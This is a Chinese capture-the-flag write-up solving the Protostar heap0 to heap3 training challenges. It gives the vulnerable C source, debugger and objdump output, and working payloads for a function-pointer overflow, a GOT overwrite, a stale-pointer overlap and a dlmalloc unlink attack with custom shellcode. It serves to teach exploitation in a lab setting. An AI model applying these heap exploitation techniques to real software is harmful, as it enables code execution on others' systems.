Protostar Heap Write Up
来源:互联网 发布:java 解析sql获取别名 编辑:程序博客网 时间:2024/05/29 03:14
Protostar Heap0
#include <stdlib.h>#include <unistd.h>#include <string.h>#include <stdio.h>#include <sys/types.h>struct data { char name[64];};struct fp { int (*fp)();};void winner(){ printf("level passed\n");}void nowinner(){ printf("level has not been passed\n");}int main(int argc, char **argv){ struct data *d; struct fp *f; d = malloc(sizeof(struct data)); f = malloc(sizeof(struct fp)); f->fp = nowinner; printf("data is at %p, fp is at %p\n", d, f); strcpy(d->name, argv[1]); f->fp();}
思路:让data去覆盖fp,将fp指向winner
查看data与fp的偏移
$ ./heap0 Adata is at 0x8ef4008, fp is at 0x8ef4050
$ ./heap0 ABdata is at 0x8e7e008, fp is at 0x8e7e050
偏移量为0x50 - 0x08 = 0x48 = 72
查看winner的地址
$ gdb -q heap0Reading symbols from heap0...done.gdb-peda$ p winner$1 = {void (void)} 0x8048464 <winner>
构造payload
/opt/protostar/bin/heap0 `python -c 'print "A"*72+"\x64\x84\x04\x08"'`
Protostar Heap1
#include <stdlib.h>#include <unistd.h>#include <string.h>#include <stdio.h>#include <sys/types.h>struct internet { int priority; char *name;};void winner(){ printf("and we have a winner @ %d\n", time(NULL));}int main(int argc, char **argv){ struct internet *i1, *i2, *i3; i1 = malloc(sizeof(struct internet)); i1->priority = 1; i1->name = malloc(8); i2 = malloc(sizeof(struct internet)); i2->priority = 2; i2->name = malloc(8); strcpy(i1->name, argv[1]); strcpy(i2->name, argv[2]); printf("and that's a wrap folks!\n");}
思路:两个strcpy,可以进行任意地址写。因为i1->name和i2->name在strcpy前会指定写入地址。那么我们利用i1->name溢出覆盖指定i2->name地址为puts在got表中的地址,利用i2->name写入puts在got表中要跳转的地址为winner()的地址,那么程序在执行printf时,实际上就是执行winner。
查看i1在内存中的大概位置
$ ltrace ./heap1 AAAA BBBB__libc_start_main(0x80484b9, 3, 0xbffffd94, 0x8048580, 0x8048570 <unfinished ...>malloc(8) = 0x0804a008malloc(8) = 0x0804a018malloc(8) = 0x0804a028malloc(8) = 0x0804a038strcpy(0x0804a018, "AAAA") = 0x0804a018strcpy(0x0804a038, "BBBB") = 0x0804a038puts("and that's a wrap folks!"and that's a wrap folks!) = 25+++ exited (status 25) +++
i1是0x0804a008开始的,查看该地址附近的存储情况
$ gdb -q heap1Reading symbols from /opt/protostar/bin/heap1...done.(gdb) disassemble mainDump of assembler code for function main:...0x08048561 <main+168>: call 0x80483cc <puts@plt>0x08048566 <main+173>: leave 0x08048567 <main+174>: ret End of assembler dump.(gdb) b *main+168Breakpoint 1 at 0x8048561: file heap1/heap1.c, line 34.
(gdb) r AAAA BBBBStarting program: /opt/protostar/bin/heap1 AAAA BBBBBreakpoint 1, 0x08048561 in main (argc=3, argv=0xbffffd64) at heap1/heap1.c:3434 heap1/heap1.c: No such file or directory. in heap1/heap1.c(gdb) x/32x 0x0804a008 0x804a008: 0x00000001 0x0804a018 0x00000000 0x000000110x804a018: 0x41414141 0x00000000 0x00000000 0x000000110x804a028: 0x00000002 0x0804a038 0x00000000 0x000000110x804a038: 0x42424242 0x00000000 0x00000000 0x00020fc10x804a048: 0x00000000 0x00000000 0x00000000 0x000000000x804a058: 0x00000000 0x00000000 0x00000000 0x000000000x804a068: 0x00000000 0x00000000 0x00000000 0x000000000x804a078: 0x00000000 0x00000000 0x00000000 0x00000000
指定i2->name写入地址的地址为0x804a02c,i1->name的地址为0x804a018,两者之间的偏移量为0x804a02c - 0x804a018 = 0x14 = 20
找puts在got表中的地址
$ objdump -R heap1 | grep puts08049774 R_386_JUMP_SLOT puts
得puts在got表中的地址为 0x08049774
找winner()的地址
$ objdump -d heap1 | grep winner08048494 <winner>:
得winner()的地址为 0x08048494,构造payload
$ /opt/protostar/bin/heap1 `python -c 'print "A"*20+"\x74\x97\x04\x08"'` `python -c 'print "\x94\x84\x04\x08"'`and we have a winner @ 1509326394
Protostar Heap2
#include <stdlib.h>#include <unistd.h>#include <string.h>#include <sys/types.h>#include <stdio.h>struct auth { char name[32]; int auth;};struct auth *auth;char *service;int main(int argc, char **argv){ char line[128]; while(1) { printf("[ auth = %p, service = %p ]\n", auth, service); if(fgets(line, sizeof(line), stdin) == NULL) break; if(strncmp(line, "auth ", 5) == 0) { auth = malloc(sizeof(auth)); memset(auth, 0, sizeof(auth)); if(strlen(line + 5) < 31) { strcpy(auth->name, line + 5); } } if(strncmp(line, "reset", 5) == 0) { free(auth); } if(strncmp(line, "service", 6) == 0) { service = strdup(line + 7); } if(strncmp(line, "login", 5) == 0) { if(auth->auth) { printf("you have logged in already!\n"); } else { printf("please enter your password\n"); } } }}
思路:这份代码看起来很别扭。一个结构体的名字是auth,一个全局指针的名字是auth,结构体中的一个属性也叫auth,厉害了,我的哥… 目的是让auth->auth非空
$ ltrace ./heap2__libc_start_main(0x8048934, 1, 0xbffffdb4, 0x804acc0, 0x804acb0 <unfinished ...>printf("[ auth = %p, service = %p ]\n", (nil), (nil)[ auth = (nil), service = (nil) ]) = 34fgets(auth A"auth A\n", 128, 0xb7fd8420) = 0xbffffc80strncmp("auth A\n", "auth ", 5) = 0sysconf(30, 0, 0xb7fe1b28, 1, 0) = 4096sbrk(4096) = 0x0804c000sbrk(0) = 0x0804d000memset(0x0804c008, '\000', 4) = 0x0804c008
memset的第3个参数值是4,说明sizeof(auth)中的auth不是结构体auth,而是指针变量auth
$ ./heap2[ auth = (nil), service = (nil) ]auth A[ auth = 0x804c008, service = (nil) ]serviceA [ auth = 0x804c008, service = 0x804c018 ]
service的地址与auth的地址之间的偏移量为0x804c018 - 0x804c008 = 0x10 = 0x10 = 16 个字节,而auth本应占32 + 4 = 36个字节,也就是说service嵌入在本应是auth的地址空间里了。而auth->auth相对于auth地始地址的偏移量为32个字节,所以auth->auth相对于service的偏移量为32 - 16 = 16个字节,于是,只要service提供17-20个字节,就可以控制auth->auth。构造payload
$ ./heap2[ auth = (nil), service = (nil) ]auth A[ auth = 0x804c008, service = (nil) ]serviceAAAAAAAAAAAAAAAAB[ auth = 0x804c008, service = 0x804c018 ]loginyou have logged in already!
Protostar Heap3
#include <stdlib.h>#include <unistd.h>#include <string.h>#include <sys/types.h>#include <stdio.h>void winner(){ printf("that wasn't too bad now, was it? @ %d\n", time(NULL));}int main(int argc, char **argv){ char *a, *b, *c; a = malloc(32); b = malloc(32); c = malloc(32); strcpy(a, argv[1]); strcpy(b, argv[2]); strcpy(c, argv[3]); free(c); free(b); free(a); printf("dynamite failed?\n");}
思路:dlmalloc的unlink漏洞,利用free(b)触发unlink,将puts@got修改成执行winner()的shellcode。
对于dlmalloc内存,是通过块来管理的,块的结构体头部结构如下
struct chunk { int prev_size; // 上一个块的大小 int size; // /8后是该块的大小,最低位表示上一块是否空闲,倒数第2位表示是否由mmap管理 struct chunk *fd; // 前一个块的指针,当前块空闲时有效 struct chunk *bk; // 后一个块的指针,当前块空闲时有效};
执行free()时,检查向前合并(后一块与当前free块链接起来,当后一块空闲时会合并)和向后合并(前一块与当前free块链接起来,当前一块空闲时会合并)。向后合并时,先判断当前块的size的最低位,确定为0,也就是前一块空闲时,当前buffer指针 - prev_size,从而指向前一个块,再执行unlink
unlink(p, bck, fwd){ bck = p->bk; fwd = p->fd; fwd->bk = bck; bck->fd = fwd;}
我们可以通过前一个buffer去控制prev_size和size,比如将prev_size和size都设为-4,即 \xfc\xff\xff\xff
,也就可以触发unlink。如果构造如下
unlink(p, bck, fwd){ bck = p->bk; // winner() fwd = p->fd; // puts@got - 12 fwd->bk = bck; // fwd + 12 = puts@got => winnder() bck->fd = fwd; // bck + 8 = winner() + 8 = puts@got - 12}
留意第3句,是一个可以进行任意地址写的地方,所以我们就可以这里做文章。第4句将一个地址写到winner() + 8的位置,对代码段写入程序会崩,所以这里我们可以将winner()的执行制作成shellcode,然后放到a的buffer里,再构造如下
unlink(p, bck, fwd){ bck = p->bk; // shellcode地址 fwd = p->fd; // puts@got - 12 fwd->bk = bck; // fwd + 12 = puts@got => shellcode地址 bck->fd = fwd; // shellcode地址 + 8 = puts@got - 12}
这样第4句就不会崩,在a的buffer里,前12(8 + 4(puts@got - 12地址占4字节))个字节不用了吧(想用的话也可以),用\x90
过滤前12个字节,再上执行winner()的shellcode。所以得出攻击链路如下:
12个"\x90"+执行winner()的shellcode+补足的A+ "\xfc\xff\xff\xff"*2(一个用于prev_size,一个用于size) "BBBB"(p-(-4)=p+4)+(puts@got-12)+shellcode地址(a的buffer地址) C(第三个参数,正常的字符就可以)
查看winner()地址
$ objdump -d ./heap3 | grep winner08048864 <winner>:
构造执行winner()的shellcode,也就是将winner()的地址放到栈里,然后利用ret指令,从栈取出地址并跳转过去
vim shellcode.asm
[section .text]global _start_start:push 0x08048864ret
编译链接
$ nasm -f elf shellcode.asm$ ld -m elf_i386 -o shellcode shellcode.o
查看机器码
$ objdump -d ./shellcode./shellcode: file format elf32-i386Disassembly of section .text:08048060 <_start>: 8048060: 68 64 88 04 08 push $0x8048864 8048065: c3 ret
得到执行winner()的shellcode为
\x68\x64\x88\x04\x08\xc3
共6个字节。除了前面的12个字节\x90
和现在6个字节,a这个buffer还剩32 - 12 - 6 = 14个字节。
找puts@got的地址
$ objdump -R ./heap3 | grep puts0804b128 R_386_JUMP_SLOT puts
0x0804b128 - 12 = 0x0804b128 - 0x0c = 0x0804b11c
找a的buffer地址
$ ltrace ./heap3 AAAA BBBB CCCC__libc_start_main(0x8048889, 4, 0xbffffd94, 0x804ab50, 0x804ab40 <unfinished ...>sysconf(30, 0xb7ffeff4, 0xb7e9abb8, 1, 0xbffffc5c) = 4096sbrk(4096) = 0x0804c000sbrk(0) = 0x0804d000strcpy(0x0804c008, "AAAA") = 0x0804c008strcpy(0x0804c030, "BBBB") = 0x0804c030strcpy(0x0804c058, "CCCC") = 0x0804c058puts("dynamite failed?"dynamite failed?) = 17+++ exited (status 17) +++
得a的buffer地址为0x0804c008
构造payload
$ /opt/protostar/bin/heap3 `python -c 'print "\x90"*12+"\x68\x64\x88\x04\x08\xc3"+"A"*14+"\xfc\xff\xff\xff"*2'` `python -c 'print "BBBB\x1c\xb1\x04\x08\x08\xc0\x04\x08"'` Cthat wasn't too bad now, was it? @ 1509599513
Protostar Heap4
页面 404
也没有相应的可执行程序heap4,期待ing…
- Protostar Heap Write Up
- Protostar Stack Write Up
- Protostar Format Write Up
- CSAW CTF2014 write-up
- hctf 2016 write up
- Wechall.No_Escape write up
- ISCC2017 Web write up
- zctf-pwn500-restaurant-write-up
- 2016 alictf LoopAndLoop write up
- Hackinglab 基础关 write up
- android-crackme-challenge write-up
- [zctf 2016] reverse 100 write up
- pwnable.kr write up 之 sample login
- XUSTCTF-禅啸星空write up
- x-nuca web赛前训练 write up
- 网络安全实验室基础关write up
- 2017-0CTF-simplesplin-write up
- ISCC2017 Basic write up附加题目文件
- mysql添加新用户 开放外网访问
- SpringBoot+Gradle运行简单Demo Eclipse
- 高级运维工程师的打怪升级之路
- 时间工具类(二)
- 超链接下划线两种CSS3原生特效,酷酷的
- Protostar Heap Write Up
- NYOJ 1307 Linux的文件权限对不对?
- ceph-deploy的admin 命令
- MySQL创建定时event删除N天前数据
- postgresql在windows10下安装单机版
- 项目
- iOS
- CTF web总结
- Activity切换动画